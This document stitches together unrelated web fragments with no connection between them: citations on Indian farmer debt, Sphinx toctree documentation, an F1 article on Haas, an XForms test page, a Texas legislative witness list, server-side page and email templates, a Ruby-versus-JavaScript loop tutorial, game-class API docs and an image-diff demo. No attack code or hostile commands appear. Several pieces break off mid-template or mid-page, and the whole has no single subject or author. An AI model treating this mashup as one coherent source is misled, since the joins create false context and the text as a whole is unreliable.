- Purohit, Kunal. “As Debt Grows, More Indian Women Farmers Taking Their Lives.” Agriculture News | Al Jazeera, Al Jazeera, 5 Nov. 2019, www.aljazeera.com/features/2019/11/5/as-debt-grows-more-indian-women-farmers-taking-their-lives
- Shafeeq Rahman, PhD. “How Interest on Loans Kills Indian Farmers.” DailyO, Living Media India Limited, 9 July 2017, www.dailyo.in/politics/farmer-crisis-loan-waiver-msp-drought-interest-rate/story/1/18266.html
- Jitendra. “In 4 Years, Farmers' Income Has Increased by Just Rs 2,505 per Month: NABARD Report.” Down To Earth, www.downtoearth.org.in/news/agriculture/in-4-years-farmers-income-has-increased-by-just-rs-2-505-per-month-nabard-report-61410
Images
About Us
- our mission img- https://ichef.bbci.co.uk/news/976/cpsprodpb/3EAE/production/_115764061_mediaitem115764060.jpg site left
- Gavali, Darshan. Unsplash, Nov. 2020, https://unsplash.com/photos/s-OtTIF3Wa0
- Kumar, Deepak. Unsplash, 15 Sept. 2020, unsplash.com/photos/b4eRRodrirQ
Home page
- Patel, Jaikishan. Unsplash, June 2020, unsplash.com/photos/DSyyWrVjBNA
contact
Vallabh20, Shree. Pixabay, 2017, pixabay.com/photos/nature-kokan-sindhudurg-goa-farmer-2795521/.


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Since the reST source files can have different extensions (some people like .txt, some like .rst – the extension can be configured with source_suffix) and different OSes have different path separators, Sphinx abstracts them: all “document names” are relative to the source directory, the extension is stripped, and path separators are converted to slashes. All values, parameters and suchlike referring to “documents” expect such a document name.
Since reST does not have facilities to interconnect several documents, or split documents into multiple output files, Sphinx uses a custom directive to add relations between the single files the documentation is made of, as well as tables of contents. The toctree directive is the central element.
This directive inserts a “TOC tree” at the current location, using the individual TOCs (including “sub-TOC trees”) of the documents given in the directive body (whose path is relative to the document the directive occurs in). A numeric maxdepth option may be given to indicate the depth of the tree; by default, all levels are included. [1]
Consider this example (taken from the Python docs’ library reference index):
.. toctree::
:maxdepth: 2
intro
strings
datatypes
numeric
(many more documents listed here)
This accomplishes two things:
Document titles in the toctree will be automatically read from the title of the referenced document. If that isn’t what you want, you can give the specify an explicit title and target using a similar syntax to reST hyperlinks (and Sphinx’s cross-referencing syntax). This looks like:
.. toctree::
intro
All about strings <strings>
datatypes
The second line above will link to the strings document, but will use the title “All about strings” instead of the title of the strings document.
You can use “globbing” in toctree directives, by giving the glob flag option. All entries are then matched against the list of available documents, and matches are inserted into the list alphabetically. Example:
.. toctree::
:glob:
intro*
recipe/*
*
This includes first all documents whose names start with intro, then all documents in the recipe folder, then all remaining documents (except the one containing the directive, of course.) [2]
In the end, all documents in the source directory (or subdirectories) must occur in some toctree directive; Sphinx will emit a warning if it finds a file that is not included, because that means that this file will not be reachable through standard navigation. Use unused_documents to explicitly exclude documents from building, and exclude_dirs to exclude whole directories.
The “master document” (selected by master_doc) is the “root” of the TOC tree hierarchy. It can be used as the documentation’s main page, or as a “full table of contents” if you don’t give a maxdepth option.
Changed in version 0.3: Added “globbing” option.
Sphinx reserves some document names for its own use; you should not try to create documents with these names – it will cause problems.
The special document names (and pages generated for them) are:
genindex, modindex, search
These are used for the general index, the module index, and the search page, respectively.
The general index is populated with entries from modules, all index-generating description units, and from index directives.
The module index contains one entry per module directive.
The search page contains a form that uses the generated JSON search index and JavaScript to full-text search the generated documents for search words; it should work on every major browser that supports modern JavaScript.
every name beginning with _
Though only few such names are currently used by Sphinx, you should not create documents or document-containing directories with such names. (Using _ as a prefix for a custom template directory is fine.)
Footnotes
| [1] | The maxdepth option does not apply to the LaTeX writer, where the whole table of contents will always be presented at the begin of the document, and its depth is controlled by the tocdepth counter, which you can reset in your latex_preamble config value using e.g. \setcounter{tocdepth}{2}. |
| [2] | A note on available globbing syntax: you can use the standard shell constructs *, ?, [...] and [!...] with the feature that these all don’t match slashes. A double star ** can be used to match any sequence of characters including slashes. |


Steiner says Haas "need to keep their heads up"
by Adam NewtonGuenther Steiner was left frustrated by Haas' pace on Sunday at the United States Grand Prix as Romain Grosjean and Kevin Magnussen got nowhere near the points, finishing 15 and 18th respectively. Steiner has suffered a tough year with Haas struggling all season and he says that the team need to stay positive.
Haas look destined to finish the season in ninth in the constructors' standings, their worst performance since joining F1 in 2016. The team are just seven points adrift of Alfa Romeo, but having scored just two points in eight races, it looks unlikely that Haas will change their position.
Steiner said after the weekend: "Obviously, it's a disappointing result, but it didn't come unexpected. We know where we are at the moment, and it's not where we want to be.
"We start the race then we just begin to go backwards, we just haven't got enough performance in the car. Kevin (Magnussen) retired with two laps to go, we think it was something with the brake system. We need to investigate but we haven't had the car back yet.
"There are two more races to go and we just need to keep our heads up. We'll hopefully try and get a little bit out of it."


Acura
2005
blue
Acura
2005
blue
11.1.n encoding attribute of submission element
When you activate the Submit (UTF-8) control you must see the value
" encoding="UTF-8" " at the top of the form data.
When you activate the Submit (ISO) control you must see the value
" encoding="ISO-8859-1" " at the top of the form data.
Submit (UTF-8)
Submit (ISO)


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{{>m_scripts}}


WITNESS LIST Natural Resources Committee April 5, 2001 - 2:00P SB 2 ON: Brittin, Carolyn Water Coordinator (TNRCC), Austin, TX Knowles, Tommy Deputy Executive Admenistrator (Texas Water Development Board), Austin, TX McKinney, Larry Sr. Director Aquatics (Texas Parks & Wildlife), Austin, TX Musick, Steve Leader, Groundwater Planning & Assesment (TNRCC), Austin, TX Schwartz, Suzanne General Counsel (Texas Water Development Board), Austin, TX Williams, C.E. General Manager (Panhandle Groundwater District), White Deer, TX


@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import include._ @import models.registrationprogress.Section @import models.registrationprogress._ @import models.status.{Renewal, ReadyForRenewal, RenewalSubmitted} @import views.html.registrationamendment.section @import views.html.registrationamendment.section_list @import utils.Strings._ @import views.html.helper.CSRF @import org.joda.time.LocalDate @import utils.DateHelper @import config.{ ApplicationConfig} @this(main2: include.main2) @( sections: Seq[Section], businessName: String, serviceNames: Seq[String], canSubmit: Boolean, msbOrTcspExists: Boolean, renewal: Renewal, renewalSectionCompleted: Boolean = false, hasCompleteNominatedOfficer: Boolean = false, nominatedOfficerName: Option[String] = None )(implicit messages: Messages, request: Request[_], lang: Lang, appConfig: ApplicationConfig) @header = { @heading("renewal.progress.title") } @main2(s"${messages("renewal.progress.title")}") { @* Heading *@
@Messages("renewal.progress.information.completed.info")
} else {@Messages("renewal.progress.information.not.completed.info.part1") @Messages("renewal.progress.information.not.completed.info.part2").
}@messages("renewal.progress.intro").convertLineBreaksH


Looping in Javascript vs Ruby
by Jim O'Neal on December 24, 2015
In this week's blog entry, I chose to discuss the difference between looping in Ruby and looping in JavaScript. For this post I will discuss specifically only 'while' loops and 'for' loops.
Looping in a program can be described simply by a mechanism for which a certain task is repeated for a prescribed number of times. The details of what gets looped, and how you trigger the loop to be stopped is to be determined by the specifics of what you are trying to accomplish, and furthermore, determined by the tools available to you by the programming language you are working with. Fundamentally, the concept of looping in Ruby and JavaScript both follow this general conceptual definition. The main differences reveal themselves when the syntax that is used in one language vs the other is explored.
First, I will take a look at a method of looping called the 'while' loop. This loop method basically says "while this condition is true, keep doing all of this stuff". Calling out a while loop in Ruby vs JavaScript could look something like this:
Ruby:
counter = 0
while counter < 10
puts "My favorite number is #{counter}."
counter += 1
end
This little block of code first sets a variable named 'counter' to 0. Next it moves to a line of code that uses the keyword 'while'. Ruby then knows to check for a condition after this keyword. In this case I have specified 'counter < 10'. Ruby now understands that it is going to repeat everything under the line containing 'while' and the corresponing keyword 'end' until the condition is met. In this case, I have simply instructed it to print a string to the screen. The important part is that I have also included a line that says 'counter += 1'. This indexes the variable 'counter' to the next number. Once Ruby has successfully completed both the 'puts' command and modifying the variable 'counter', it then goes to the top and checks the conditional statement again. If the counter is still less than 10, it repeats. While loops can be highly useful, but also dangerous if you do not remember to put in some mechanism for the loop to terminate.
Now lets look at the same code but written in JavaScript:
var counter = 0;
while (counter < 10) {
console.log("My favorite number is " + counter + ".");
counter += 1;
};
As you can see, the syntax is different. JavaScript requires more, what I would call, 'punctuation' than Ruby requires, but the concept is the same. You are specifying some code that you want repeated, and including a conditional statement with a mechanism for ending the loop.
The second loop type that I wanted to examine is the 'for' loop. The for loop essentiall does the same thing that a while loop does, but it condenses the counter function into the loop mechanism itself.
Ruby:
number = 10
for i in 1..number
puts "My favorite number is #{i}."
end
JavaScript:
var number = 10;
for (var i = 1; i <= number; i++) {
console.log("My favorite number is " + i + ".");
};
Once again, the syntax is different, but the concept is the same.
There are many other types of loops that exist in both languages, including methods for looping through arrays and other data containers, but for the purposes of this blog entry, I am only covering 'while' and 'for' loops. I hope you enjoyed reading, and I hope you learned something. Thanks for visiting!


Round
A round in the WOJ game. The standard game is played with two rounds.
Constructor Summary
| Public Constructor | ||
| public |
constructor(id: number, wheel: Wheel, players: Player[], maxTime: number) |
Member Summary
| Public Members | ||
| public |
|
|
| public get |
|
|
| public get |
currentPlayer: Player: * Current player's player object. |
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| public |
|
|
| public get |
stats: RoundStats: * Stats for the current round, including spins used, clues answered, and attributes for the player who has the current turn, e.g. |
| Private Members | ||
| private get |
Current player's score object. |
|
| private |
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| private |
|
Method Summary
| Public Methods | ||
| public |
endTurn() End the current players turn, should be called after a spin and validation (if applicable) is complete. |
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| public |
When Spin resulted in a clue or pickCategory was used to set a clue, call this method if the player answered incorrectly, to adjust their score. |
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| public |
pickCategory(column: number): Clue When spin is Player's Choice or Opponent's Choice, use pickCategory, to get the next clue from the specificed category. |
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| public |
reset() Resets the current round by reseting the wheel, board, and player scores. |
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| public |
Spins the wheel and returns the result in a Spin object. |
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| public |
start() Start the WOJ round. |
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| public |
Use a free turn token for the current player. |
|
| public |
When Spin resulted in a clue or pickCategory was used to set a clue, call this method if the player answered correctly, to adjust their score. |
| Private Methods | ||
| private |
Private method to reset the turn: currentSpin and currentClue are set to undefined. |
Public Constructors
Public Members
public get stats: RoundStats: * source
Stats for the current round, including spins used, clues answered, and attributes for the player who has the current turn, e.g. score, tokens.
Private Members
Public Methods
public endTurn() source
End the current players turn, should be called after a spin and validation (if applicable) is complete. This method will switch to the next player and reset the currentSpin and currentClue.
public invalidAnswer() source
When Spin resulted in a clue or pickCategory was used to set a clue, call this method if the player answered incorrectly, to adjust their score.
Throw:
throws error if no clue is set to validate. |
public pickCategory(column: number): Clue source
When spin is Player's Choice or Opponent's Choice, use pickCategory, to get the next clue from the specificed category. This will set the currentClue.
Params:
| Name | Type | Attribute | Description |
| column | number | column index of the category. |
Throw:
throws error if current spin sector does not permit picking a category, i.e. it is not Player's Choice or Opponents Choice. |
public spin(): Spin source
Spins the wheel and returns the result in a Spin object. If Free Turn, Bankrupt, or Double Score are landed, the players tokens or score is adjusted. If Player's Choice or Opponent's Choice are landed, use pickCategory to get the next clue.
public useToken(): boolean source
Use a free turn token for the current player. A token may be used if the player loses his turn or answers a question incorrectly. A token cannot be used if the player spins free turn.
public validAnswer() source
When Spin resulted in a clue or pickCategory was used to set a clue, call this method if the player answered correctly, to adjust their score.
Throw:
throws error if no clue is set to validate. |
Private Methods
private resetTurn_() source
Private method to reset the turn: currentSpin and currentClue are set to undefined.


{% extends 'wl/emails/base_email.html' %} {% block content %} {% if amendment_request.application.proxy_applicant %} The Wildlife Licensing application you made on behalf of {{ amendment_request.application.applicant_profile.user.get_full_name }} has been declined. {% else %} Your Wildlife Licensing application has been declined. {% endif %} {% if reason_html %}
Reason:
{{ reason_html|safe }}
Click here to access your Wildlife Licensing dashboard.
Note: If you haven't been on the Wildlife Licensing site recently you might have to login first before using the provided link.
{% endif %} {% endblock %}


Drop image here.
Image analyses
analyses of images RGB.
Try it for yourself.
Drop first image
Drop second image
Compare two images?
Drop two images on the boxes to the left. The box below will show a generated 'diff' image, pink areas show mismatch. This example best works with two very similar but slightly different images. Try for yourself!
Don't have any images to compare?
Diff will appear here.


@(opprtunityid : String,applicantId:String,message:Integer) @import helper._ @main("Client Survey") {
(This is a great place to share with us a testimonial on our service or suggestions on how we can improve)